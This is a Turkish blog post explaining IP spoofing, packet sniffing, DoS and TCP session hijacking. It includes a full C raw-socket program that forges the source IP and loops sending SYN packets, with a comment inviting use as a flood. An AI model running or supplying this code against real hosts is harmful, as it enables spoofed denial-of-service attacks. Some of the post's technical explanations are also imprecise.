Yusuf Bülbül

An Engineer

İnternet Paketlerinin Manipülasyonu ve Ağ Yığınındaki Temel Güvenlik Açıkları

for english, press here

Bir önceki yazımda ağ yığınının(Network Stack) ne olduğundan bahsetmiştim. Şimdi bu yapının nasıl maniple edildiğinden ve bu yapının nerelerde güvenlik açığı oluşturduğundan bahsedelim. Öncelikle interneti yapısal olarak kaba taslak şematize edersek aşağıdaki yapıyı örnek gösterebiliriz.

İnternet bir sürü yerel ağın (Local Network-LAN) birbirine bağlanması ile oluşur. Bu ağlar, internet servis sağlayıcıları tarafından birleştirilir. Turkcell, Vodafone, Türktelekom gibi şirketler, Türkiyede internet servis sağlayıcılarıdır. ISP(Internet Service Provider) . Bu şirketlerin küçük yerel ağlardan birleştirerek oluşturduğu ağlara yerel ISP ağları diyoruz.  Daha sonra bu ağlar daha büyük olan Global ISP ağlara, oradan telekominikasyon-kablosuz haberleşme ağlarına ve endüstri ağlarına bağlanır. Bu şekilde tüm ağ kümeleri Backbone olarak isimlendirilen yapılarla birbirine bağlanmış olur.  Aşağıda BackBone ağının şeması var. Backbone denmesinin sebebi, yapının sanki bir omurga yapısına benzemesinden kaynaklanıyor.

backBu devasa ağın içerisindeki her makine, birbirine ismine IP(Internet Protokol) dediğimiz adres ile veri alıp gönderir. Bu işlem aslında sanıldığından biraz daha karmaşıktır. Çünkü, farklı cihazların adresleri farklı ağlarda aynı olabilir. Bunun için NAT(Network Address Translition) işlemi gerçekleştirilir. Bu konu hakkındaki yazıyı buradan okuyabilirsiniz.

Şimdilik internet üzerindeki her cihazın bir benzersiz adresi olduğunu varsayım. Bu adreslere veri göndermek ve ya almak için internet paketimizin başına kaynak ve hedef IP adreslerini yazıyoruz.  Bir önceki yazımda da bahsettiğim gibi internet paketleri katman katman olduğu için paketler bir adresten diğer adrese giderken, IP katmanındaki hedef ve kaynak IP adresleri paket içerisinde açık bir şekilde gönderilir. Doğal olarak bu adresler, yolda değiştirilebilir. Yani, kötü  niyetli bir saldırgan, kaynak adresini değiştirerek sanki başka kişiymiş gibi paket gönderebilir.

Bu aslında, kötü niyetli kimselere sizin IP adresinizi kaynak göstererek sizin adınıza bir şeyler yapmaya çalışmalarını sağlayabilir.  Bu yüzden torrent gibi “P2P” sistemlerde paketleriniz bir çok kullanıcı makinesi üzerinden geçtiği için VPN kullanmanız önerilir. Çünkü Ip adresiniz çalınarak farklı amaçlı kullanılabilir. Aşağıda raw socket açarak ethernet başlığını bu şekilde kendinizin doldurabileceği bir program örneği var. Bu tarz bir kod ile ağa gönderdiğiniz paketleri maniple edebilirsiniz.

/*
  Raw TCP packets
  Silver Moon (m00n.silv3r@gmail.com)
*/
#include<stdio.h>	//for printf
#include<string.h> //memset
#include<sys/socket.h>	//for socket ofcourse
#include<stdlib.h> //for exit(0);
#include<errno.h> //For errno - the error number
#include<netinet/tcp.h>	//Provides declarations for tcp header
#include<netinet/ip.h>	//Provides declarations for ip header

/* 
  96 bit (12 bytes) pseudo header needed for tcp header checksum calculation 
*/
struct pseudo_header
{
  u_int32_t source_address;
  u_int32_t dest_address;
  u_int8_t placeholder;
  u_int8_t protocol;
  u_int16_t tcp_length;
};

/*
  Generic checksum calculation function
*/
unsigned short csum(unsigned short *ptr,int nbytes) 
{
  register long sum;
  unsigned short oddbyte;
  register short answer;

  sum=0;
  while(nbytes>1) {
    sum+=*ptr++;
    nbytes-=2;
  }
  if(nbytes==1) {
    oddbyte=0;
    *((u_char*)&oddbyte)=*(u_char*)ptr;
    sum+=oddbyte;
  }

  sum = (sum>>16)+(sum & 0xffff);
  sum = sum + (sum>>16);
  answer=(short)~sum;
  
  return(answer);
}

int main (void)
{
  //Create a raw socket
  int s = socket (PF_INET, SOCK_RAW, IPPROTO_TCP);
  
  if(s == -1)
  {
    //socket creation failed, may be because of non-root privileges
    perror("Failed to create socket");
    exit(1);
  }
  
  //Datagram to represent the packet
  char datagram[4096] , source_ip[32] , *data , *pseudogram;
  
  //zero out the packet buffer
  memset (datagram, 0, 4096);
  
  //IP header
  struct iphdr *iph = (struct iphdr *) datagram;
  
  //TCP header
  struct tcphdr *tcph = (struct tcphdr *) (datagram + sizeof (struct ip));
  struct sockaddr_in sin;
  struct pseudo_header psh;
  
  //Data part
  data = datagram + sizeof(struct iphdr) + sizeof(struct tcphdr);
  strcpy(data , "ABCDEFGHIJKLMNOPQRSTUVWXYZ");
  
  //some address resolution
  strcpy(source_ip , "192.168.1.2");
  sin.sin_family = AF_INET;
  sin.sin_port = htons(80);
  sin.sin_addr.s_addr = inet_addr ("1.2.3.4");
  
  //Fill in the IP Header
  iph->ihl = 5;
  iph->version = 4;
  iph->tos = 0;
  iph->tot_len = sizeof (struct iphdr) + sizeof (struct tcphdr) + strlen(data);
  iph->id = htonl (54321);	//Id of this packet
  iph->frag_off = 0;
  iph->ttl = 255;
  iph->protocol = IPPROTO_TCP;
  iph->check = 0;		//Set to 0 before calculating checksum
  iph->saddr = inet_addr ( source_ip );	//Spoof the source ip address
  iph->daddr = sin.sin_addr.s_addr;
  
  //Ip checksum
  iph->check = csum ((unsigned short *) datagram, iph->tot_len);
  
  //TCP Header
  tcph->source = htons (1234);
  tcph->dest = htons (80);
  tcph->seq = 0;
  tcph->ack_seq = 0;
  tcph->doff = 5;	//tcp header size
  tcph->fin=0;
  tcph->syn=1;
  tcph->rst=0;
  tcph->psh=0;
  tcph->ack=0;
  tcph->urg=0;
  tcph->window = htons (5840);	/* maximum allowed window size */
  tcph->check = 0;	//leave checksum 0 now, filled later by pseudo header
  tcph->urg_ptr = 0;
  
  //Now the TCP checksum
  psh.source_address = inet_addr( source_ip );
  psh.dest_address = sin.sin_addr.s_addr;
  psh.placeholder = 0;
  psh.protocol = IPPROTO_TCP;
  psh.tcp_length = htons(sizeof(struct tcphdr) + strlen(data) );
  
  int psize = sizeof(struct pseudo_header) + sizeof(struct tcphdr) + strlen(data);
  pseudogram = malloc(psize);
  
  memcpy(pseudogram , (char*) &psh , sizeof (struct pseudo_header));
  memcpy(pseudogram + sizeof(struct pseudo_header) , tcph , sizeof(struct tcphdr) + strlen(data));
  
  tcph->check = csum( (unsigned short*) pseudogram , psize);
  
  //IP_HDRINCL to tell the kernel that headers are included in the packet
  int one = 1;
  const int *val = &one;
  
  if (setsockopt (s, IPPROTO_IP, IP_HDRINCL, val, sizeof (one)) < 0)
  {
    perror("Error setting IP_HDRINCL");
    exit(0);
  }
  
  //loop if you want to flood :)
  while (1)
  {
    //Send the packet
    if (sendto (s, datagram, iph->tot_len ,	0, (struct sockaddr *) &sin, sizeof (sin)) < 0)
    {
      perror("sendto failed");
    }
    //Data send successfully
    else
    {
      printf ("Packet Send. Length : %d \n" , iph->tot_len);
    }
  }
  
  return 0;
}

Şimdi VPN konusuna gelelim. VPN, ethernet paketinizin IP başlığını şifreler. Başka bir proxy sunucusu üzerinden internete açıldığınızdan ve ayrıca kaynak ve hedef adresleri belli standartlarda şifrelendiğinden dolayı, torrent gibi son kullanıcı makinelerinin sunucu gibi kullanıldığı sistemlerde daha güvenlidir.  Fakat torrent ya da benzeri sistemler kullanmasanız bile, internet üzerinde herhangi bir işlemde paketleriniz takip edilebilir ve ya çalınabilir. Bu da, kötü niyetli kişilerin eline yeterince koz verir. Bunun adına “packet sniffing” diyoruz. İnternete gönderdiğiniz verilerin içerisinde şifre bilgileri gibi bir çok gizli bilgi olabilir.  Ağ yığını yapısını iyi maniple edebilecek bir kişi ağı dinleyerek sizin, ssl ile güvenli ve şifreli bir şekilde bağlandığınız sunucuya gönderdiğiniz gizli bilgi içerikli paketlerinizin içerisini açamasa bile, bu paketleri kendi lehine kullanarak sunucuyu sanki sizmiş gibi yönetebilir. “Wireshark” gibi programları bu işlem için kullanabilirsiniz. Ve ya kendiniz C dilinde çok basit bir soket programı yazarak, ağı dinleyebilirsiniz.

Kaynak IP adreslerinin değiştirilebilmesi aynı zamanda  “Anonymous DoS(Denial of Service)” ve “Infection” atakları gibi siber saldırılara sebebiyet verebilir. Biliyorsunuz ki, DoS saldırılarında, herhangi bir Ip adresinden, ağı tıkamak için sürekli  veri trafiği oluşturabilirsiniz. Bu durumda hedef makine, belirli Ip adresini banladığında problemi çözebilir. Fakat, bu kaynak Ip adresleri rastgele ve art niyetli kişilerce değiştirildiğinde, kaynak adresler belirli belirsiz yerlere işaret eder. Doğal olarak kaynak adreslere güvenemediğiniz için, Ip banlamak bir işe yaramayacaktır.   Aynı şekilde, internet üzerinden hedef makineye bir virüs programı göndermek istediğinizde tabi ki kaynak adreslerini doğru yazacak kadar saf olmazsınız. Bu yüzden “slammer worm” gibi internet üzerinden yayılan virüsler, paketleri maniple ederek  bu açıklardan faydalanırlar.

Bu gibi açıklar aynı şekilde TCP protokolünde de mevcut. TCP algoritmasının nasıl olduğunu kısaca açıklayayım.  TCP, bağlantısı, iki makinenin el sıkışması şeklinde kurulur. Yani bağlanmak istediğiniz makineye,  önce rastgele bir SYN paketinin içerisinde SYN numarası gönderirsiniz. Daha sonra alıcı, bu mesaja karşılık gönderdiğiniz sayıyı size ack olarak  ve kendi random olarak ürettiği sayıyı da SYN olarak gönderir. Konuşma boyunca, syn mesajlarında gönderilen sayılar 1’er arttırılarak devam eder. Buna üçlü el sıkışma deniyor.

Bu durumda, bağlantı sağlanmış olur ve bu şekilde ilerler. Herhangi bir banka sunucusu arasındaki konuşma aslında yukarıdaki prosedürdeki gibi, istek ve yanıt şeklinde olacaktır.  Eğer sizden farklı birisi araya girmek isterse syn numaralarını bilmesi, sunucu kontrolünü almasına olanak tanıyabilir. Çünkü saldırgan, kaynak IP adresini sizin IP adresiniz olarak değiştirebilir. SYN numarısını da sürekli deneyerek bulabilir ve kendi gönderdiği paketlere set edebilir. Eğer üretilen rastgele syn numarası, küçük bir aralıkta ise; saldırgan bu numarayı milisaniyeler içerisinde tüm olasılıkları deneyerek tutturabilir . Bu durumda,  tcp bağlantısı kurban bilgisayarı ile sunucu arasında devam ederken, tcp kontrolünü saldırgan eline geçirerek sunucuya sizin yerinize talimat verebilir.

Bu kurguyu daha basit bir şekilde şöyle anlatayım; banka hesabınıza internetten girdiğinizi varsayalım. Bu sırada, banka hesabınıza girdiğiniz mevcut makineniz, durumların bildirilmesi adına, banka sunucusu ile sürekli TCP bağlantısı içerisinde olacaktır. Bu sırada, aynı ağdaki bir saldırgan, sizin TCP bağlantınızın arasına girerek, TCP bağlantısında kullandığınız kaynak adresini ve SYN numarasını sizle aynı yaparak sizin yerinize, sizin daha önce gönderdiğiniz talimatları tekrarlayarak sunucuya herhangi bir hesaba EFT talimatı gönderiyor. Tehlikenin farkına şimdi vardığınızı sanıyorum.

Kullandığınız bağlantı güvenli olabilir. Güvenli olmasından kastım bir SSL bağlantısı ile bağlanmış olabilirsiniz. Fakat bu güvenlik, sadece paketin içeriğini kapsar. Yani, ethernet paketi içerisindeki IP adreslerini ve SYN, ACK bölümlerini kapsayamadığı için saldırgan sizin mesajlarınızı siz gönderiyormuşsunuz gibi tekrar ederek bağlantınızı sabote edebilir.

Aynı şekilde bu yöntemle, soket bağlantınızın resetlenmesi ve haberleşmeşmenizin engellenmesi gibi saldırılar da mümkün olabilir. Çünkü sizin yerinize herhangi bir saldırgan bağlantıyı sonlandırma y da resetleme isteği gönderebilir.

 

Bir cevap yazın

E-posta hesabınız yayımlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir

Copyright © Tüm Hakları Saklıdır.